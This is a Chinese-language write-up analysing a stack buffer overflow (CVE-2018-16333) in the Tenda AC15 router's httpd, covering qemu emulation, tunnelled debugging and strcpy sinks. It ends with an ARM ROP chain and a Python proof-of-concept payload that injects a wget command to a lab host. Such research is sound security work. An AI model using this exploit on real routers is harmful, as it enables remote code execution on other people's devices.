Files

574 lines
15 KiB
Markdown
Raw Permalink Normal View History

2026-10-15 20:25:47 +08:00
# Tenda AC15 CVE-2018-16333漏洞分析
> 屁屁
> 来源:https://www.iotsec-zone.com/article/120
# Tenda AC15 CVE-2018-16333漏洞分析
[TOC]
## 一、固件分析
查看上文中2.3处emba跑出的结果,检索`httpd`相关。
![0.png](https://www.iotsec-zone.com/images/MdImg/00a12412a2c4a6b6dff1fcb586205e66.png)
危险函数有`strcpy`、`printf`、`strcat`、`fprint`、`system`等。
## 二、漏洞分析
使用IDA分析`httpd`。
### 2.1、strcpy
#### 2.1.1、关键词搜索
搜索一下`strcpy`,一共184处匹配。
![1.png](https://www.iotsec-zone.com/images/MdImg/921a8c71dbef95f3bf65aedcd634d88f.png)
首先还是寻找与`goahead`接口相关的函数,只有那些API接口会存在直接可控用户输入从而更有可能引发漏洞。
#### 2.1.2、危险函数筛选
结果如下
```bash
formAdvGetLanIp
formGetOnlineList
formGetPPTPServer
formGetParentCtrlList
formGetPortStatus
formGetQosBand
formGetSystemStatus
formSetFirewallCfg
formSetPPTPUserList
formWifiApScan
formWifiBasicSet
form_fast_setting_wifi_set
fromDhcpListClient
fromGetIpMacBind
fromGetSysTime
fromGetWirelessRepeat
fromGetWrlStatus
fromSetIpMacBind
fromSetSysTime
fromSetWirelessRepeat
```
仅有20个API接口函数与`strcpy`有关。
一个个跟进查看。
一些API接口函数(如:` formAdvGetLanIp`),其`strcpy`函数中不存在可控变量,在第二次筛选中就可以排除了。
![2.png](https://www.iotsec-zone.com/images/MdImg/f2c4f5725908339f80c7b77873aa4896.png)
最后剩下如下危险接口
`form_fast_setting_wifi_set`
```c
int __fastcall form_fast_setting_wifi_set(int a1)
{
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
if ( *src )
{
strcpy(s, src);
strcpy(dest, src);
}
```
`formSetFirewallCfg`
```c
int __fastcall formSetFirewallCfg(int a1)
{
src = (char *)sub_2BA8C(a1, "firewallEn", "1111");
v1 = (char *)strlen(src);
if ( (unsigned int)v1 > 3 )
{
strcpy(dest, src);
GetValue("security.ddos.map", s);
}
```
`formWifiBasicSet`
```c
int __fastcall formWifiBasicSet(int a1)
{
src = (char *)sub_2BA8C(a1, "security_5g", "none");
strcpy(dest, src);
}
```
`fromDhcpListClient`
```c
int __fastcall fromDhcpListClient(int a1)
{
v10 = sub_2BA8C(a1, v5, &unk_EE388);
if ( !v10 || !*(_BYTE *)v10 )
break;
strcpy(dest, (const char *)(v10 + 1));
}
```
`fromSetIpMacBind`
```c
int __fastcall fromSetIpMacBind(int a1)
{
v22 = (char *)sub_2BA8C(a1, "list", &unk_EE388);
if ( v1 >= 0 && v19 <= 32 )
{
src = v22;
for ( i = 1; src && i <= v19; ++i )
{
v18 = strchr(src, 10);
if ( v18 )
{
*v18 = 0;
strcpy(dest, src);
}
```
`fromSetSysTime`
```c
int __fastcall fromSetSysTime(int a1)
{
src = (char *)sub_2BA8C(a1, "ntpServer", "time.windows.com");
SetValue("sys.timesyn", "1");
SetValue("sys.timemode", "auto");
SetValue("sys.timezone", v23);
SetValue("sys.timenextzone", "0");
SetValue("sys.timefixper", v22);
v1 = SetValue("sys.timentpserver", src);
if ( CommitCfm(v1) )
{
GetValue("sys.timesyn", nptr);
if ( atoi(nptr) == 1 )
{
v16[0] = atoi(nptr);
v16[1] = atoi(v23);
v16[2] = atoi(v22);
strcpy((char *)&v16[3], src);
}
```
`fromSetWirelessRepeat`
```c
int __fastcall fromSetWirelessRepeat(int a1)
{
src = (char *)sub_2BA8C(a1, "wpapsk_crypto", "aes");
v41 = (char *)sub_2BA8C(a1, "wpapsk_key", &unk_EFE58);
if ( !*v41 && strlen(v41) <= 7 )
{
v59 = 1;
goto LABEL_121;
}
if ( !strcmp(v43, "wpa") )
{
strcpy(v15, "psk");
}
else if ( !strcmp(v43, "wpa2") )
{
strcpy(v15, "psk2");
}
else
{
strcpy(v15, "psk psk2");
}
if ( !strcmp(src, "tkip&aes") )
strcpy(v14, "tkip+aes");
else
strcpy(v14, src);
}
```
#### 2.1.3、分析与调试
##### 2.1.3.1、前期准备
由于是对二进制代码进行分析、调试,因此需要`系统模式运行qemu`、`gdbserver`、`ida pro或者gdb-multiarch`
使用[Tenda AC15 CVE-2020-10987漏洞分析](https://www.iotsec-zone.com/article?id=119)中的方法启动系统模式的qemu。
下载gdbserver。
```bash
cd squashfs-root
wget http://10.10.10.2:8000/gdbservrmhf-eabi5-v1-sysv
mv gdbserver-7.7.1-armhf-eabi5-v1-sver gdbserver
chmod 777 gdbserver
```
###### a、使用ida pro调试
启动httpd
![3.png](https://www.iotsec-zone.com/images/MdImg/5d7a8e5fdefa944fdc05db6d5e248a12.png)
进入虚拟机检查一下
![4.png](https://www.iotsec-zone.com/images/MdImg/bfec55c8ea67511b89475de85793fa6d.png)
启动成功。
由于M1芯片的`vmware fusion`实在很难用,因此传个代理进虚拟机然后继续用ssh操作。
上传`frpc`和`frpc.ini`,配置如下
![5.png](https://www.iotsec-zone.com/images/MdImg/8a6f20552cd5e2d761959ab6b991cf1c.png)
启动`frps`和`frpc`
![6.png](https://www.iotsec-zone.com/images/MdImg/deb617b4f29d0de10cb71dd352e83045.png)
![7.png](https://www.iotsec-zone.com/images/MdImg/8001c3f79fae984cb2067c96607b22d2.png)
连接`127.0.0.1:20022`
![8.png](https://www.iotsec-zone.com/images/MdImg/30072525771424cae8b81f89b6c83395.png)
查找`httpd`进程
![9.png](https://www.iotsec-zone.com/images/MdImg/9bcb53b10aea15ccc0dfb5241e7ec047.png)
使用gdbserver挂载,并修改frpc.ini,将8866端口也映射出来
```bash
./gdbserver :8866 --attach 2381
```
ida远程调试,报错
![10.png](https://www.iotsec-zone.com/images/MdImg/d31083e7f65c717187bad1e674a26cc3.png)
使用端口映射的方式进行调试,会出现一些问题,因此只映射`80`和`22`,采用`gdb-multiarch`进行调试,仍然报错。
![11.png](https://www.iotsec-zone.com/images/MdImg/ab0edd29836a29f396313e71ec8aa8de.png)
猜测是apple M1芯片的问题,arm架构很有问题,因此使用远端VPS作为模拟qemu系统。
网络架构如图。
![12.png](https://www.iotsec-zone.com/images/MdImg/1bd03083a71b0e386b8f29429ffe6d46.png)
在VPS中开启`frps`和`frpc`。
配置如下:
```ini
frps.ini
[common]
bind_port = 7000
frpc.ini
[common]
server_addr = 10.10.10.2
server_port = 7000
[qemu-ssh]
type = tcp
local_ip = 10.10.10.3
local_port = 22
remote_port = 20022
[qemu-web]
type = tcp
local_ip = 10.10.10.3
local_port = 80
remote_port = 20080
[qemu-gdb]
type = tcp
local_ip = 10.10.10.3
local_port = 28866
remote_port = 28866
```
在本机和VPS中开启TCP通道,并做正向转发。
![13.png](https://www.iotsec-zone.com/images/MdImg/5912d8b19a28f73f37e75b151fa1bdc4.png)
在mac下的windows虚拟机(因为没有Mac m1版的ida pro)中开启admin端
```bash
admin.exe -l 9999
```
在mac开启agent端
```bash
agent -c 10.211.55.3:9999
2022/03/29 20:44:54 Node starting......
```
将mac本地的`127.0.0.1:28866`转发至windows下。
![14.png](https://www.iotsec-zone.com/images/MdImg/86baa5257de5e1ff31cadafd1630c57a.png)
按照[Tenda AC15 CVE-2020-10987漏洞分析](https://www.iotsec-zone.com/article?id=119)的方法启动qemu,并开启gdbserver。
![15.png](https://www.iotsec-zone.com/images/MdImg/f44f4b6cb4730a745c9df0ae352b8df8.png)
调整IDA的GDBServer配置。
![16.png](https://www.iotsec-zone.com/images/MdImg/56c04ae0db4ca4cdd4546ccafe6e9b14.png)
连接web
![17.png](https://www.iotsec-zone.com/images/MdImg/974efc9f3bb30e5aeca819ebd83a2ae5.png)
成功进入调试,并成功断点。
![18.png](https://www.iotsec-zone.com/images/MdImg/0e08f114999e7931fd442f9ce1ca5fb7.png)
但是,该方法需要三层代理,非常不稳定,网络轻微扰动都会导致调试奔溃,因此建议使用X86/X64位架构的机器直接进行调试,或者在虚拟机中使用`gdb-multiarch`等gdb调试软件。
###### b、使用`gdb-multiarch`调试
使用`gdb-multiarch`挂载进程并设定初始信息。
![19.png](https://www.iotsec-zone.com/images/MdImg/3448be003d3ea9d69da336a4915aca88.png)
```bash
set architecture arm
set endian little
set solib-search-path lib/
b 断点位置
target remote 10.10.10.3:8866
```
##### 2.1.3.2、`form_fast_setting_wifi_set`
以`form_fast_setting_wifi_set`为例进行rce漏洞分析。
###### a、漏洞分析
在第一个strcpy和函数入口下断点。
```bash
set architecture arm
set endian little
set solib-search-path lib/
b form_fast_setting_wifi_set
b *0x0006706C
target remote 10.10.10.3:8866
```
![20.png](https://www.iotsec-zone.com/images/MdImg/0d75de42fed7bdf0dbc01a8b701064ec.png)
查看前端代码。
```js
//TODO:hack wan connected
//$("#waiting").removeClass("none");
//$("#wifi_setting").addClass("none");
//$("#btn_control").addClass("none");
var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString());
var subObj = {
"ssid": $("#ssid").val(),
"wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd,
"power": $("#power").val(),
"timeZone": getTimeZone(),
"loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd)
}
data = objTostring(subObj);
$.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) {
G.wanStatus = obj.connectStatus;
$.post("goform/fast_setting_wifi_set", data, handWifi);
})
```
可见data中传递的是一组由json对象转换而成的字符串变量,主要有如下几个参数"ssid"、"wrlPassword"、"power"、"timeZone"、"loginPwd"。
查看后端处理代码。
```c
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
if ( *src )
{
strcpy(s, src);
strcpy(dest, src);
```
因此,实际上我们只需要控制"ssid"的值即可,至于`sub_2BA8C`
```c
void *__fastcall sub_2BA8C(int a1, int a2, int a3)
{
int v6; // [sp+14h] [bp-10h]
v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2);
if ( !v6 )
return (void *)a3;
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
return &unk_DC1C4;
}
```
光读代码还是比较麻烦,可以在调试过程中进行猜测其功能。
下断点,开始调试,停在`SIGPIPE`异常,使用`handle SIGPIPE nostop print`忽略该问题。
![21.png](https://www.iotsec-zone.com/images/MdImg/28f909b1461f0709274c4aed8404af5c.png)
下五个断点,分别在`00066EE0`、`0x00067078`、 `0x0006707C`、`0x0006708C`、`0x00067090`。
```bash
b *0x00066EE0
b *0x00067078
b *0x0006707C
b *0x0006708C
b *0x00067090
```
![22.png](https://www.iotsec-zone.com/images/MdImg/67a6b2ae77652193948797dda362728d.png)
发送ssid
![23.png](https://www.iotsec-zone.com/images/MdImg/9e2b042f2d5b60ece998abc43bd10fa3.png)
断点停在函数开始处。
```assembly
.text:00066EE0 PUSH {R4,R5,R11,LR}
```
函数在开始时,将需要的参数及函数的return地址押入栈中。
`LR`存放函数的返回地址,为`0x171c8`。
![24.png](https://www.iotsec-zone.com/images/MdImg/1d5f9723efa97e9fe27e5ed921ffcb6a.png)
继续单步运行,到`0x0006707c `处,查看寄存器。
![25.png](https://www.iotsec-zone.com/images/MdImg/bab9258214f139d4b988fb149fccf76f.png)
存放输入数据的寄存器r1、r3内存放的是一个指向ssid值的指针,值为`0x898ed0`。
查看内存空间。
![26.png](https://www.iotsec-zone.com/images/MdImg/2876661ba343448402e07e07faa1a45b.png)
绿色框为存放`src`值的`s`分配的内存空间,具体可见代码
```assembly
char s[64]; // [sp+200h] [bp-7Ch] BYREF
```
红色框为存放src值的地址。
蓝色框为函数的返回地址,我们需要将该地址覆盖掉。
继续运行至第二个strcpy,也就是`0x00067090`处
可以发现第二次strcpy也是从同样的地址取src的值。
![27.png](https://www.iotsec-zone.com/images/MdImg/092f0e8e821db0f6492adcfcfa8fefc3.png)
查看内存
![28.png](https://www.iotsec-zone.com/images/MdImg/a9267e6f4c2215b9cff5da4ae6c9202a.png)
橘黄色框中为dest的变量空间。
那么这样就会出先一个问题。
如果直接将返回值`0x000171c8`覆盖,那么也会同时覆盖掉`0x00898ed0`这个值,那么在第二次strcpy的时候,就有可能会因为找不到src的值而报错,
所以需要在覆盖`0x00898ed0`时选择一个可以读到的地址覆盖他,这样就不会报错了。
###### b、构造rop链
首先搜一下system这个函数的用法。
```assembly
.text:0004F8E4 ADD R3, R4, R3 ; "killall -9 telnetd"
.text:0004F8E8 MOV R0, R3 ; command
.text:0004F8EC BL system
.text:0004F8F0 SUB R3, R11, #-var_12C
```
![29.png](https://www.iotsec-zone.com/images/MdImg/fa2bcdd8271baa43b577aacb376f3ee6.png)
如图可见,system这个函数,只需要一个寄存器。
因此,我们去`libc.so.0`中找一个`system`函数。
![30.png](https://www.iotsec-zone.com/images/MdImg/5f7f16336a08d369398a2cd3fb65c55f.png)
system函数使用r3寄存器调用库函数里的system,使用r0寄存器来存放命令参数。
![31.png](https://www.iotsec-zone.com/images/MdImg/b11ceb63b98bd52cfd932bab5e8e7e6a.png)
因此,我们需要在libc中搜索一个"pop r3"的出栈操作和一个"mov r0,"的操作。
```bash
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 --only "pop" | grep r3
```
![32.png](https://www.iotsec-zone.com/images/MdImg/1004c40563bea27c0e7e49d6698655aa.png)
发现一个`POP {r3,pc}`。
总所周知,SP是存放站顶指针,指向下一个出栈的位置,那么如果能找到一个mov r0,SP,就可以轻松构造如下栈空间。
| *(POP {r3,pc}) |
| -------------------- |
| *(ldr r3,system) |
| *(mov r0,SP,ldr r3) |
| "Command" |
当命令执行到`*(mov r0,sp,ldr r3)`处时,sp指向“command”,又将sp赋值给r0,rop链就可以达成了。
因此我们再搜索一个mov r0,sp,blx/bl r3,
```bash
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 | grep "mov r0, sp" > 1,txt
```
查看1,txt
![33.png](https://www.iotsec-zone.com/images/MdImg/4fd237ccb4c11bd4435fd7876d5187e9.png)
找到了
```assembly
0x00040cb8 : mov r0, sp ; blx r3
```
###### c、poc
```python
#!/usr/bin/python3
import requests
from pwn import *
cmd = b'wget http://10.10.10.2:8899'
libc_base = 0x76d79000
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
print(payload)
```
![34.png](https://www.iotsec-zone.com/images/MdImg/aba406bae06326d4165890949c027264.png)
### 三、小结
- Tenda AC15的还存在其他RCE漏洞点,接下来的文章会继续分析
- 近期不建议使用Macbook M1进行IoT漏洞的模拟、分析